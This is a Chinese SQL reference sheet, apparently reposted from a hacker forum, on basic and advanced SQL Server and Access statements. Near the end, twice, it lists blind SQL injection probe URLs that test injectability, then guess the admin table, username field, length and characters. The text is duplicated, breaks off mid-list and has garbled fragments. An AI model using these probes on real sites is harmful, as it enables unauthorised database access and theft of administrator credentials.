精妙SQL语句收集
或许大家对注入有一定的了解,那么你是不是知道一些些SQL语言的知识吗?至少也要会一点吧,手动查找漏洞的朋友或许有此经验,想学好一技术,得从基础学起!
这篇文章黑基曾经发贴过这样的贴,不过看过的人又有多少呢?汗!
SQL语句先前写的时候,很容易把一些特殊的用法忘记,我特此整理了一下SQL语句操作。
一、基础
1 、说明:创建数据库
CREATE DATABASE database - name
2 、说明:删除数据库
drop database dbname
3 、说明:备份sql server
-- - 创建 备份数据的 device
USE master
EXEC sp_addumpdevice ' disk ' , ' testBack ' , ' c:mssql7backupMyNwind_1.dat '
-- - 开始 备份
BACKUP DATABASE pubs TO testBack
4 、说明:创建新表
create table tabname(col1 type1 [ not null ] [ primary key ] ,col2 type2 [ not null ] ,..)
根据已有的表创建新表:
A: create table tab_new like tab_old (使用旧表创建新表)
B: create table tab_new as select col1,col2… from tab_old definition only
5 、说明:删除新表
drop table tabname
6 、说明:增加一个列
Alter table tabname add column col type
注:列增加后将不能删除。DB2中列加上后数据类型也不能改变,唯一能改变的是增加varchar类型的长度。
7 、说明:添加主键: Alter table tabname add primary key (col)
说明:删除主键: Alter table tabname drop primary key (col)
8 、说明:创建索引: create [ unique ] index idxname on tabname(col….)
删除索引: drop index idxname
注:索引是不可更改的,想更改必须删除重新建。
9 、说明:创建视图: create view viewname as select statement
删除视图: drop view viewname
10 、说明:几个简单的基本的sql语句
选择: select * from table1 where 范围
插入: insert into table1(field1,field2) values (value1,value2)
删除: delete from table1 where 范围
更新: update table1 set field1 = value1 where 范围
查找: select * from table1 where field1 like ’ % value1 % ’ -- -like的语法很精妙,查资料!
排序: select * from table1 order by field1,field2 [ desc ]
总数: select count as totalcount from table1
求和: select sum (field1) as sumvalue from table1
平均: select avg (field1) as avgvalue from table1
最大: select max (field1) as maxvalue from table1
最小: select min (field1) as minvalue from table1
11 、说明:几个高级查询运算词
A: UNION 运算符
UNION 运算符通过组合其他两个结果表(例如 TABLE1 和 TABLE2)并消去表中任何重复行而派生出一个结果表。当 ALL 随 UNION 一起使用时(即 UNION ALL ),不消除重复行。两种情况下,派生表的每一行不是来自 TABLE1 就是来自 TABLE2。
B: EXCEPT 运算符
EXCEPT 运算符通过包括所有在 TABLE1 中但不在 TABLE2 中的行并消除所有重复行而派生出一个结果表。当 ALL 随 EXCEPT 一起使用时 ( EXCEPT ALL ),不消除重复行。
C: INTERSECT 运算符
INTERSECT 运算符通过只包括 TABLE1 和 TABLE2 中都有的行并消除所有重复行而派生出一个结果表。当 ALL 随 INTERSECT 一起使用时 ( INTERSECT ALL ),不消除重复行。
注:使用运算词的几个查询结果行必须是一致的。
12 、说明:使用外连接
A、 left outer join :
左外连接(左连接):结果集几包括连接表的匹配行,也包括左连接表的所有行。
SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c
B: right outer join :
右外连接(右连接):结果集既包括连接表的匹配连接行,也包括右连接表的所有行。
C: full outer join :
全外连接:不仅包括符号连接表的匹配行,还包括两个连接表中的所有记录。
二、提升
1 、说明:复制表(只复制结构,源表名:a 新表名:b) (Access可用)
法一: select * into b from a where 1 <> 1
法二: select top 0 * into b from a
2 、说明:拷贝表(拷贝数据,源表名:a 目标表名:b) (Access可用)
insert into b(a, b, c) select d,e,f from b;
3 、说明:跨数据库之间表的拷贝(具体数据使用绝对路径) (Access可用)
insert into b(a, b, c) select d,e,f from b in ‘具体数据库’ where 条件
例子:.. from b in ' "&Server.MapPath(".")&"data.mdb" &" ' where ..
4 、说明:子查询(表名1:a 表名2:b)
select a,b,c from a where a IN ( select d from b ) 或者: select a,b,c from a where a IN ( 1 , 2 , 3 )
5 、说明:显示文章、提交人和最后回复时间
select a.title,a.username,b.adddate from table a,( select max (adddate) adddate from table where table .title = a.title) b
6 、说明:外连接查询(表名1:a 表名2:b)
select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c
7 、说明:在线视图查询(表名1:a )
select * from ( SELECT a,b,c FROM a) T where t.a > 1 ;
8 、说明:between的用法,between限制查询数据范围时包括了边界值, not between不包括
select * from table1 where time between time1 and time2
select a,b,c, from table1 where a not between 数值1 and 数值2
9 、说明: in 的使用方法
select * from table1 where a [ not ] in (‘值1’,’值2’,’值4’,’值6’)
10 、说明:两张关联表,删除主表中已经在副表中没有的信息
delete from table1 where not exists ( select * from table2 where table1.field1 = table2.field1 )
11 、说明:四表联查问题:
select * from a left inner join b on a.a = b.b right inner join c on a.a = c.c inner join d on a.a = d.d where .....
12 、说明:日程安排提前五分钟提醒
SQL: select * from 日程安排 where datediff ( ' minute ' ,f开始时间, getdate ()) > 5
13 、说明:一条sql 语句搞定数据库分页
select top 10 b. * from ( select top 20 主键字段,排序字段 from 表名 order by 排序字段 desc ) a,表名 b where b.主键字段 = a.主键字段 order by a.排序字段
14 、说明:前10条记录
select top 10 * form table1 where 范围
15 、说明:选择在每一组b值相同的数据中对应的a最大的记录的所有信息(类似这样的用法可以用于论坛每月排行榜,每月热销产品分析,按科目成绩排名,等等.)
select a,b,c from tablename ta where a = ( select max (a) from tablename tb where tb.b = ta.b)
16 、说明:包括所有在 TableA 中但不在 TableB和TableC 中的行并消除所有重复行而派生出一个结果表
( select a from tableA ) except ( select a from tableB) except ( select a from tableC)
17 、说明:随机取出10条数据
select top 10 * from tablename order by newid ()
18 、说明:随机选择记录
select newid ()
19 、说明:删除重复记录
Delete from tablename where id not in ( select max (id) from tablename group by col1,col2,...)
20 、说明:列出数据库里所有的表名
select name from sysobjects where type = ' U '
21 、说明:列出表里的所有的
select name from syscolumns where id = object_id ( ' TableName ' )
22 、说明:列示type、vender、pcs字段,以type字段排列,case可以方便地实现多重选择,类似select 中的case。
select type, sum ( case vender when ' A ' then pcs else 0 end ), sum ( case vender when ' C ' then pcs else 0 end ), sum ( case vender when ' B ' then pcs else 0 end ) FROM tablename group by type
显示结果:
type vender pcs
电脑 A 1
电脑 A 1
光盘 B 2
光盘 A 2
手机 B 3
手机 C 3
23 、说明:初始化表table1
TRUNCATE TABLE table1
24 、说明:选择从10到15的记录
select top 5 * from ( select top 15 * from table order by id asc ) table_别名 order by id desc
三、技巧
1 、 1 = 1 , 1 = 2的使用,在SQL语句组合时用的较多
“ where 1 = 1 ” 是表示选择全部 “ where 1 = 2 ”全部不选,
如:
if @strWhere != ''
begin
set @strSQL = ' select count(*) as Total from [ ' + @tblName + ' ] where ' + @strWhere
end
else
begin
set @strSQL = ' select count(*) as Total from [ ' + @tblName + ' ] '
end
我们可以直接写成
set @strSQL = ' select count(*) as Total from [ ' + @tblName + ' ] where 1=1 安定 ' + @strWhere
2 、收缩数据库
-- 重建索引
DBCC REINDEX
DBCC INDEXDEFRAG
-- 收缩数据和日志
DBCC SHRINKDB
DBCC SHRINKFILE
3 、压缩数据库
dbcc shrinkdatabase(dbname)
4 、转移数据库给新用户以已存在用户权限
exec sp_change_users_login ' update_one ' , ' newname ' , ' oldname '
go
5 、检查备份集
RESTORE VERIFYONLY from disk = ' E:dvbbs.bak '
6 、修复数据库
ALTER DATABASE [ dvbbs ] SET SINGLE_USER
GO
DBCC CHECKDB( ' dvbbs ' ,repair_allow_data_loss) WITH TABLOCK
GO
ALTER DATABASE [ dvbbs ] SET MULTI_USER
GO
7 、日志清除
SET NOCOUNT ON
DECLARE @LogicalFileName sysname,
@MaxMinutes INT ,
@NewSize INT
USE tablename -- 要操作的数据库名
SELECT @LogicalFileName = ' tablename_log ' , -- 日志文件名
@MaxMinutes = 10 , -- Limit on time allowed to wrap log.
@NewSize = 1 -- 你想设定的日志文件的大小(M)
-- Setup / initialize
DECLARE @OriginalSize int
SELECT @OriginalSize = size
FROM sysfiles
WHERE name = @LogicalFileName
SELECT ' Original Size of ' + db_name () + ' LOG is ' +
CONVERT ( VARCHAR ( 30 ), @OriginalSize ) + ' 8K pages or ' +
CONVERT ( VARCHAR ( 30 ),( @OriginalSize * 8 / 1024 )) + ' MB '
FROM sysfiles
WHERE name = @LogicalFileName
CREATE TABLE DummyTrans
(DummyColumn char ( 8000 ) not null )
DECLARE @Counter INT ,
@StartTime DATETIME ,
@TruncLog VARCHAR ( 255 )
SELECT @StartTime = GETDATE (),
@TruncLog = ' BACKUP LOG ' + db_name () + ' WITH TRUNCATE_ONLY '
DBCC SHRINKFILE ( @LogicalFileName , @NewSize )
EXEC ( @TruncLog )
-- Wrap the log if necessary.
WHILE @MaxMinutes > DATEDIFF (mi, @StartTime , GETDATE ()) -- time has not expired
AND @OriginalSize = ( SELECT size FROM sysfiles WHERE name = @LogicalFileName )
AND ( @OriginalSize * 8 / 1024 ) > @NewSize
BEGIN -- Outer loop.
SELECT @Counter = 0
WHILE (( @Counter < @OriginalSize / 16 ) AND ( @Counter < 50000 ))
BEGIN -- update
INSERT DummyTrans VALUES ( ' Fill Log ' )
DELETE DummyTrans
SELECT @Counter = @Counter + 1
END
EXEC ( @TruncLog )
END
SELECT ' Final Size of ' + db_name () + ' LOG is ' +
CONVERT ( VARCHAR ( 30 ),size) + ' 8K pages or ' +
CONVERT ( VARCHAR ( 30 ),(size * 8 / 1024 )) + ' MB '
FROM sysfiles
WHERE name = @LogicalFileName
DROP TABLE DummyTrans
SET NOCOUNT OFF
8 、说明:更改某个表
exec sp_changeobjectowner ' tablename ' , ' dbo '
9 、存储更改全部表
CREATE PROCEDURE dbo.User_ChangeObjectOwnerBatch
@OldOwner as NVARCHAR ( 128 ),
@NewOwner as NVARCHAR ( 128 )
AS
DECLARE @Name as NVARCHAR ( 128 )
DECLARE @Owner as NVARCHAR ( 128 )
DECLARE @OwnerName as NVARCHAR ( 128 )
DECLARE curObject CURSOR FOR
select ' Name ' = name,
' Owner ' = user_name (uid)
from sysobjects
where user_name (uid) = @OldOwner
order by name
OPEN curObject
FETCH NEXT FROM curObject INTO @Name , @Owner
WHILE ( @@FETCH_STATUS = 0 )
BEGIN
if @Owner = @OldOwner
begin
set @OwnerName = @OldOwner + ' . ' + rtrim ( @Name )
exec sp_changeobjectowner @OwnerName , @NewOwner
end
-- select @name,@NewOwner,@OldOwner
FETCH NEXT FROM curObject INTO @Name , @Owner
END
close curObject
deallocate curObject
GO
10 、SQL SERVER中直接循环写入数据
declare @i int
set @i = 1
while @i < 30
begin
insert into test (userid) values ( @i )
set @i = @i + 1
end
小记存储过程中经常用到的本周,本月,本年函数
Dateadd (wk, datediff (wk, 0 , getdate ()), - 1 )
Dateadd (wk, datediff (wk, 0 , getdate ()), 6 )
Dateadd (mm, datediff (mm, 0 , getdate ()), 0 )
Dateadd (ms, - 3 , dateadd (mm, datediff (m, 0 , getdate ()) + 1 , 0 ))
Dateadd (yy, datediff (yy, 0 , getdate ()), 0 )
Dateadd (ms, - 3 , DATEADD (yy, DATEDIFF (yy, 0 , getdate ()) + 1 , 0 ))
上面的SQL代码只是一个时间段
Dateadd (wk, datediff (wk, 0 , getdate ()), - 1 )
Dateadd (wk, datediff (wk, 0 , getdate ()), 6 )
就是表示本周时间段.
下面的SQL的条件部分,就是查询时间段在本周范围内的:
Where Time BETWEEN Dateadd (wk, datediff (wk, 0 , getdate ()), - 1 ) AND Dateadd (wk, datediff (wk, 0 , getdate ()), 6 )
而在存储过程中
select @begintime = Dateadd (wk, datediff (wk, 0 , getdate ()), - 1 )
select @endtime = Dateadd (wk, datediff (wk, 0 , getdate ()), 6 )
检测可否注入
http: // 127.0 . 0.1 / xx?id = 11 and 1 = 1 (正常页面)
http: // 127.0 . 0.1 / xx?id = 11 and 1 = 2 (出错页面)
检测表段的
http: // 127.0 . 0.1 / xx?id = 11 and exists ( select * from admin)
检测字段的
http: // 127.0 . 0.1 / xx?id = 11 and exists ( select username from admin)
检测ID
http: // 127.0 . 0.1 / xx?id = 11 and exists ( select id from admin where ID = 1 )
检测长度的
http: // 127.0 . 0.1 / xx?id = 11 and exists ( select id from admin where len (username) = 5 and ID = 1 )
检测长度的
http: // 127.0 . 0.1 / xx?id = 11 and exists ( select id from admin where len (username) = 5 and ID = 1 )
检测是否为MSSQL数据库
http: // 127.0 . 0.1 / xx?id = 11 and exists ( select * from sysobjects)
检测是否为英文
(ACCESS数据库)
http: // 127.0 . 0.1 / xx?id = 11 and exists ( select id from admin where asc (mid(username, 1 , 1 )) between 30 and 130 and ID = 1 )
(MSSQL数据库)
http: // 127.0 . 0.1 / xx?id = 11 and exists ( select id from admin where unicode ( substring (username, 1 , 1 )) between 30 and 130 and ID = 1 )
检测英文的范围
(ACCESS数据库)
http: // 127.0 . 0.1 / xx?id = 11 and exists ( select id from admin where asc (mid(username, 1 , 1 )) between 90 and 100 and ID = 1 )
(MSSQL数据库)
http: // 127.0 . 0.1 / xx?id = 11 and exists ( select id from admin where unicode ( substring (username, 1 , 1 )) between 90 and 100 and ID = 1 )
检测那个字符
(ACCESS数据库)
http: // 127.0 . 0.1 / xx?id = 11 and exists ( select id from admin where asc (mid(username, 1 , 1 )) = 97 and ID = 1 )
(MSSQL数据库)
http: // 127.0 . 0.1 / xx?id = 11 and exists ( select id from admin where unicode ( substring (username, 1 , 1 )) = 97 and ID = 1 )
常用函数
Access: asc (字符) SQLServer: unicode (字符)
作用:返回某字符的ASCII码
Access:chr(数字) SQLServer: nchar (数字)
作用:与asc相反,根据ASCII码返回字符
Access:mid(字符串,N,L) SQLServer: substring (字符串,N,L)
作用:返回字符串从N个字符起长度为L的子字符串,即N到N + L之间的字符串
Access:abc(数字) SQLServer:abc (数字)
作用:返回数字的绝对值(在猜解汉字的时候会用到)
Access:A between B And C SQLServer:A between B And C
作用:判断A是否界于B与C之间
and exists ( Select top 1 * From 用户 order by id)
1 .在查询结果中显示列名:
a.用as关键字: select name as ’姓名’ from students order by age
b.直接表示: select name ’姓名’ from students order by age
2 .精确查找:
a.用in限定范围: select * from students where native in (’湖南’, ’四川’)
b. between ... and : select * from students where age between 20 and 30
c.“ = ”: select * from students where name = ’李山’
d. like : select * from students where name like ’李 % ’ (注意查询条件中有“ % ”,则说明是部分匹配,而且还有先后信息在里面,即查找以“李”开头的匹配项。所以若查询有“李”的所有对象,应该命令:’ % 李 % ’;若是第二个字为李,则应为’_李 % ’或’_李’或’_李_’。)
e. [] 匹配检查符: select * from courses where cno like ’ [ AC ] % ’ (表示或的关系,与" in (...)"类似,而且" [] "可以表示范围,如: select * from courses where cno like ’ [ A-C ] % ’)
3 .对于时间类型变量的处理
a. smalldatetime :直接按照字符串处理的方式进行处理,例如: select * from students where birth > = ’ 1980 - 1 - 1 ’ and birth <= ’ 1980 - 12 - 31 ’
4 .集函数
a. count ()求和,如: select count ( * ) from students (求学生总人数)
b. avg (列)求平均,
如: select avg (mark) from grades where cno = ’B2’
c. max (列)和min(列),求最大与最小
5 .分组group
常用于统计时,如分组查总数: select gender, count (sno) from students group by gender(查看男女学生各有多少)
注意:从哪种角度分组就从哪列" group by "
对于多重分组,只需将分组规则罗列。比如查询各届各专业的男女同学人数 ,那么分组规则有:届别(grade)、专业(mno)和
性别(gender),所以有" group by grade, mno, gender"
select grade, mno, gender, count ( * ) from students group by grade, mno, gender
通常group还和having联用,比如查询1门课以上不及格的学生,则按学号(sno)分类有:
select sno, count ( * ) from grades where mark < 60 group by sno having count ( * ) > 1
6 .UNION联合
合并查询结果,如:
SELECT * FROM students WHERE name like ‘张 % ’ UNION [ ALL ] SELECT * FROM students WHERE name like ‘李 % ’
7 .多表查询
a.内连接
select g.sno,s.name,c.coursename from grades g JOIN students s ON g.sno = s.sno JOIN courses c ON g.cno = c.cno
(注意可以引用别名)
b.外连接
b1.左连接
select courses.cno, max (coursename), count (sno) from courses LEFT JOIN grades ON courses.cno = grades.cno group by courses.cno
左连接特点:显示全部左边表中的所有项目,即使其中有些项中的数据未填写完全。
左外连接返回那些存在于左表而右表中却没有的行,再加上内连接的行。
b2.右连接
与左连接类似
b3.全连接
select sno,name,major from students FULL JOIN majors ON students.mno = majors.mno
两边表中的内容全部显示
c.自身连接
select c1.cno,c1.coursename,c1.pno,c2.coursename from courses c1,courses c2 where c1.pno = c2.cno
采用别名解决问题。
d.交 * 连接
select lastname + firstname from lastname CROSS JOIN firstanme
相当于做笛卡儿积
8 .嵌套查询
a.用关键字IN,如查询猪猪山的同乡:
select * from students where native in ( select native from students where name = ’猪猪’)
b.使用关键字EXIST,比如,下面两句是等价的:
select * from students where sno in ( select sno from grades where cno = ’B2’)
select * from students where exists ( select * from grades where grades.sno = students.sno AND cno = ’B2’)
9 .关于排序order
a.对于排序order,有两种方法:asc升序和desc降序
b.对于排序order,可以按照查询条件中的某项排列,而且这项可用数字表示,如:
select sno, count ( * ) , avg (mark) from grades group by sno having avg (mark) > 85 order by 3
10 .其他
a.对于有空格的识别名称,应该用" [] "括住。
b.对于某列中没有数据的特定查询可以用null判断,如select sno,courseno from grades where mark IS NULL
c.注意区分在嵌套查询中使用的any与all的区别,any相当于逻辑运算“ || ”而all则相当于逻辑运算“ && ”
d.注意在做否定意义的查询是小心进入陷阱:
如,没有选修‘B2’课程的学生 :
select students. * from students, grades where students.sno = grades.sno AND grades.cno <> ’B2’
上面的查询方式是错误的,正确方式见下方:
select * from students where not exists ( select * from grades where grades.sno = students.sno AND cno = ’B2’)
11 .关于有难度多重嵌套查询的解决思想:如,选修了全睝 @纬痰难 ?br > select * from students where not exists ( select * from courses where NOT EXISTS ( select * from grades where sno = students.sno AND cno = courses.cno))
最外一重:从学生表中选,排除那些有课没选的。用not exist。由于讨论对象是课程,所以第二重查询从course表中找,排除那些选了课的即可
或许大家对注入有一定的了解,那么你是不是知道一些些SQL语言的知识吗?至少也要会一点吧,手动查找漏洞的朋友或许有此经验,想学好一技术,得从基础学起!
这篇文章黑基曾经发贴过这样的贴,不过看过的人又有多少呢?汗!
SQL语句先前写的时候,很容易把一些特殊的用法忘记,我特此整理了一下SQL语句操作。
一、基础
1 、说明:创建数据库
CREATE DATABASE database - name
2 、说明:删除数据库
drop database dbname
3 、说明:备份sql server
-- - 创建 备份数据的 device
USE master
EXEC sp_addumpdevice ' disk ' , ' testBack ' , ' c:mssql7backupMyNwind_1.dat '
-- - 开始 备份
BACKUP DATABASE pubs TO testBack
4 、说明:创建新表
create table tabname(col1 type1 [ not null ] [ primary key ] ,col2 type2 [ not null ] ,..)
根据已有的表创建新表:
A: create table tab_new like tab_old (使用旧表创建新表)
B: create table tab_new as select col1,col2… from tab_old definition only
5 、说明:删除新表
drop table tabname
6 、说明:增加一个列
Alter table tabname add column col type
注:列增加后将不能删除。DB2中列加上后数据类型也不能改变,唯一能改变的是增加varchar类型的长度。
7 、说明:添加主键: Alter table tabname add primary key (col)
说明:删除主键: Alter table tabname drop primary key (col)
8 、说明:创建索引: create [ unique ] index idxname on tabname(col….)
删除索引: drop index idxname
注:索引是不可更改的,想更改必须删除重新建。
9 、说明:创建视图: create view viewname as select statement
删除视图: drop view viewname
10 、说明:几个简单的基本的sql语句
选择: select * from table1 where 范围
插入: insert into table1(field1,field2) values (value1,value2)
删除: delete from table1 where 范围
更新: update table1 set field1 = value1 where 范围
查找: select * from table1 where field1 like ’ % value1 % ’ -- -like的语法很精妙,查资料!
排序: select * from table1 order by field1,field2 [ desc ]
总数: select count as totalcount from table1
求和: select sum (field1) as sumvalue from table1
平均: select avg (field1) as avgvalue from table1
最大: select max (field1) as maxvalue from table1
最小: select min (field1) as minvalue from table1
11 、说明:几个高级查询运算词
A: UNION 运算符
UNION 运算符通过组合其他两个结果表(例如 TABLE1 和 TABLE2)并消去表中任何重复行而派生出一个结果表。当 ALL 随 UNION 一起使用时(即 UNION ALL ),不消除重复行。两种情况下,派生表的每一行不是来自 TABLE1 就是来自 TABLE2。
B: EXCEPT 运算符
EXCEPT 运算符通过包括所有在 TABLE1 中但不在 TABLE2 中的行并消除所有重复行而派生出一个结果表。当 ALL 随 EXCEPT 一起使用时 ( EXCEPT ALL ),不消除重复行。
C: INTERSECT 运算符
INTERSECT 运算符通过只包括 TABLE1 和 TABLE2 中都有的行并消除所有重复行而派生出一个结果表。当 ALL 随 INTERSECT 一起使用时 ( INTERSECT ALL ),不消除重复行。
注:使用运算词的几个查询结果行必须是一致的。
12 、说明:使用外连接
A、 left outer join :
左外连接(左连接):结果集几包括连接表的匹配行,也包括左连接表的所有行。
SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c
B: right outer join :
右外连接(右连接):结果集既包括连接表的匹配连接行,也包括右连接表的所有行。
C: full outer join :
全外连接:不仅包括符号连接表的匹配行,还包括两个连接表中的所有记录。
二、提升
1 、说明:复制表(只复制结构,源表名:a 新表名:b) (Access可用)
法一: select * into b from a where 1 <> 1
法二: select top 0 * into b from a
2 、说明:拷贝表(拷贝数据,源表名:a 目标表名:b) (Access可用)
insert into b(a, b, c) select d,e,f from b;
3 、说明:跨数据库之间表的拷贝(具体数据使用绝对路径) (Access可用)
insert into b(a, b, c) select d,e,f from b in ‘具体数据库’ where 条件
例子:.. from b in ' "&Server.MapPath(".")&"data.mdb" &" ' where ..
4 、说明:子查询(表名1:a 表名2:b)
select a,b,c from a where a IN ( select d from b ) 或者: select a,b,c from a where a IN ( 1 , 2 , 3 )
5 、说明:显示文章、提交人和最后回复时间
select a.title,a.username,b.adddate from table a,( select max (adddate) adddate from table where table .title = a.title) b
6 、说明:外连接查询(表名1:a 表名2:b)
select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c
7 、说明:在线视图查询(表名1:a )
select * from ( SELECT a,b,c FROM a) T where t.a > 1 ;
8 、说明:between的用法,between限制查询数据范围时包括了边界值, not between不包括
select * from table1 where time between time1 and time2
select a,b,c, from table1 where a not between 数值1 and 数值2
9 、说明: in 的使用方法
select * from table1 where a [ not ] in (‘值1’,’值2’,’值4’,’值6’)
10 、说明:两张关联表,删除主表中已经在副表中没有的信息
delete from table1 where not exists ( select * from table2 where table1.field1 = table2.field1 )
11 、说明:四表联查问题:
select * from a left inner join b on a.a = b.b right inner join c on a.a = c.c inner join d on a.a = d.d where .....
12 、说明:日程安排提前五分钟提醒
SQL: select * from 日程安排 where datediff ( ' minute ' ,f开始时间, getdate ()) > 5
13 、说明:一条sql 语句搞定数据库分页
select top 10 b. * from ( select top 20 主键字段,排序字段 from 表名 order by 排序字段 desc ) a,表名 b where b.主键字段 = a.主键字段 order by a.排序字段
14 、说明:前10条记录
select top 10 * form table1 where 范围
15 、说明:选择在每一组b值相同的数据中对应的a最大的记录的所有信息(类似这样的用法可以用于论坛每月排行榜,每月热销产品分析,按科目成绩排名,等等.)
select a,b,c from tablename ta where a = ( select max (a) from tablename tb where tb.b = ta.b)
16 、说明:包括所有在 TableA 中但不在 TableB和TableC 中的行并消除所有重复行而派生出一个结果表
( select a from tableA ) except ( select a from tableB) except ( select a from tableC)
17 、说明:随机取出10条数据
select top 10 * from tablename order by newid ()
18 、说明:随机选择记录
select newid ()
19 、说明:删除重复记录
Delete from tablename where id not in ( select max (id) from tablename group by col1,col2,...)
20 、说明:列出数据库里所有的表名
select name from sysobjects where type = ' U '
21 、说明:列出表里的所有的
select name from syscolumns where id = object_id ( ' TableName ' )
22 、说明:列示type、vender、pcs字段,以type字段排列,case可以方便地实现多重选择,类似select 中的case。
select type, sum ( case vender when ' A ' then pcs else 0 end ), sum ( case vender when ' C ' then pcs else 0 end ), sum ( case vender when ' B ' then pcs else 0 end ) FROM tablename group by type
显示结果:
type vender pcs
电脑 A 1
电脑 A 1
光盘 B 2
光盘 A 2
手机 B 3
手机 C 3
23 、说明:初始化表table1
TRUNCATE TABLE table1
24 、说明:选择从10到15的记录
select top 5 * from ( select top 15 * from table order by id asc ) table_别名 order by id desc
三、技巧
1 、 1 = 1 , 1 = 2的使用,在SQL语句组合时用的较多
“ where 1 = 1 ” 是表示选择全部 “ where 1 = 2 ”全部不选,
如:
if @strWhere != ''
begin
set @strSQL = ' select count(*) as Total from [ ' + @tblName + ' ] where ' + @strWhere
end
else
begin
set @strSQL = ' select count(*) as Total from [ ' + @tblName + ' ] '
end
我们可以直接写成
set @strSQL = ' select count(*) as Total from [ ' + @tblName + ' ] where 1=1 安定 ' + @strWhere
2 、收缩数据库
-- 重建索引
DBCC REINDEX
DBCC INDEXDEFRAG
-- 收缩数据和日志
DBCC SHRINKDB
DBCC SHRINKFILE
3 、压缩数据库
dbcc shrinkdatabase(dbname)
4 、转移数据库给新用户以已存在用户权限
exec sp_change_users_login ' update_one ' , ' newname ' , ' oldname '
go
5 、检查备份集
RESTORE VERIFYONLY from disk = ' E:dvbbs.bak '
6 、修复数据库
ALTER DATABASE [ dvbbs ] SET SINGLE_USER
GO
DBCC CHECKDB( ' dvbbs ' ,repair_allow_data_loss) WITH TABLOCK
GO
ALTER DATABASE [ dvbbs ] SET MULTI_USER
GO
7 、日志清除
SET NOCOUNT ON
DECLARE @LogicalFileName sysname,
@MaxMinutes INT ,
@NewSize INT
USE tablename -- 要操作的数据库名
SELECT @LogicalFileName = ' tablename_log ' , -- 日志文件名
@MaxMinutes = 10 , -- Limit on time allowed to wrap log.
@NewSize = 1 -- 你想设定的日志文件的大小(M)
-- Setup / initialize
DECLARE @OriginalSize int
SELECT @OriginalSize = size
FROM sysfiles
WHERE name = @LogicalFileName
SELECT ' Original Size of ' + db_name () + ' LOG is ' +
CONVERT ( VARCHAR ( 30 ), @OriginalSize ) + ' 8K pages or ' +
CONVERT ( VARCHAR ( 30 ),( @OriginalSize * 8 / 1024 )) + ' MB '
FROM sysfiles
WHERE name = @LogicalFileName
CREATE TABLE DummyTrans
(DummyColumn char ( 8000 ) not null )
DECLARE @Counter INT ,
@StartTime DATETIME ,
@TruncLog VARCHAR ( 255 )
SELECT @StartTime = GETDATE (),
@TruncLog = ' BACKUP LOG ' + db_name () + ' WITH TRUNCATE_ONLY '
DBCC SHRINKFILE ( @LogicalFileName , @NewSize )
EXEC ( @TruncLog )
-- Wrap the log if necessary.
WHILE @MaxMinutes > DATEDIFF (mi, @StartTime , GETDATE ()) -- time has not expired
AND @OriginalSize = ( SELECT size FROM sysfiles WHERE name = @LogicalFileName )
AND ( @OriginalSize * 8 / 1024 ) > @NewSize
BEGIN -- Outer loop.
SELECT @Counter = 0
WHILE (( @Counter < @OriginalSize / 16 ) AND ( @Counter < 50000 ))
BEGIN -- update
INSERT DummyTrans VALUES ( ' Fill Log ' )
DELETE DummyTrans
SELECT @Counter = @Counter + 1
END
EXEC ( @TruncLog )
END
SELECT ' Final Size of ' + db_name () + ' LOG is ' +
CONVERT ( VARCHAR ( 30 ),size) + ' 8K pages or ' +
CONVERT ( VARCHAR ( 30 ),(size * 8 / 1024 )) + ' MB '
FROM sysfiles
WHERE name = @LogicalFileName
DROP TABLE DummyTrans
SET NOCOUNT OFF
8 、说明:更改某个表
exec sp_changeobjectowner ' tablename ' , ' dbo '
9 、存储更改全部表
CREATE PROCEDURE dbo.User_ChangeObjectOwnerBatch
@OldOwner as NVARCHAR ( 128 ),
@NewOwner as NVARCHAR ( 128 )
AS
DECLARE @Name as NVARCHAR ( 128 )
DECLARE @Owner as NVARCHAR ( 128 )
DECLARE @OwnerName as NVARCHAR ( 128 )
DECLARE curObject CURSOR FOR
select ' Name ' = name,
' Owner ' = user_name (uid)
from sysobjects
where user_name (uid) = @OldOwner
order by name
OPEN curObject
FETCH NEXT FROM curObject INTO @Name , @Owner
WHILE ( @@FETCH_STATUS = 0 )
BEGIN
if @Owner = @OldOwner
begin
set @OwnerName = @OldOwner + ' . ' + rtrim ( @Name )
exec sp_changeobjectowner @OwnerName , @NewOwner
end
-- select @name,@NewOwner,@OldOwner
FETCH NEXT FROM curObject INTO @Name , @Owner
END
close curObject
deallocate curObject
GO
10 、SQL SERVER中直接循环写入数据
declare @i int
set @i = 1
while @i < 30
begin
insert into test (userid) values ( @i )
set @i = @i + 1
end
小记存储过程中经常用到的本周,本月,本年函数
Dateadd (wk, datediff (wk, 0 , getdate ()), - 1 )
Dateadd (wk, datediff (wk, 0 , getdate ()), 6 )
Dateadd (mm, datediff (mm, 0 , getdate ()), 0 )
Dateadd (ms, - 3 , dateadd (mm, datediff (m, 0 , getdate ()) + 1 , 0 ))
Dateadd (yy, datediff (yy, 0 , getdate ()), 0 )
Dateadd (ms, - 3 , DATEADD (yy, DATEDIFF (yy, 0 , getdate ()) + 1 , 0 ))
上面的SQL代码只是一个时间段
Dateadd (wk, datediff (wk, 0 , getdate ()), - 1 )
Dateadd (wk, datediff (wk, 0 , getdate ()), 6 )
就是表示本周时间段.
下面的SQL的条件部分,就是查询时间段在本周范围内的:
Where Time BETWEEN Dateadd (wk, datediff (wk, 0 , getdate ()), - 1 ) AND Dateadd (wk, datediff (wk, 0 , getdate ()), 6 )
而在存储过程中
select @begintime = Dateadd (wk, datediff (wk, 0 , getdate ()), - 1 )
select @endtime = Dateadd (wk, datediff (wk, 0 , getdate ()), 6 )
检测可否注入
http: // 127.0 . 0.1 / xx?id = 11 and 1 = 1 (正常页面)
http: // 127.0 . 0.1 / xx?id = 11 and 1 = 2 (出错页面)
检测表段的
http: // 127.0 . 0.1 / xx?id = 11 and exists ( select * from admin)
检测字段的
http: // 127.0 . 0.1 / xx?id = 11 and exists ( select username from admin)
检测ID
http: // 127.0 . 0.1 / xx?id = 11 and exists ( select id from admin where ID = 1 )
检测长度的
http: // 127.0 . 0.1 / xx?id = 11 and exists ( select id from admin where len (username) = 5 and ID = 1 )
检测长度的
http: // 127.0 . 0.1 / xx?id = 11 and exists ( select id from admin where len (username) = 5 and ID = 1 )
检测是否为MSSQL数据库
http: // 127.0 . 0.1 / xx?id = 11 and exists ( select * from sysobjects)
检测是否为英文
(ACCESS数据库)
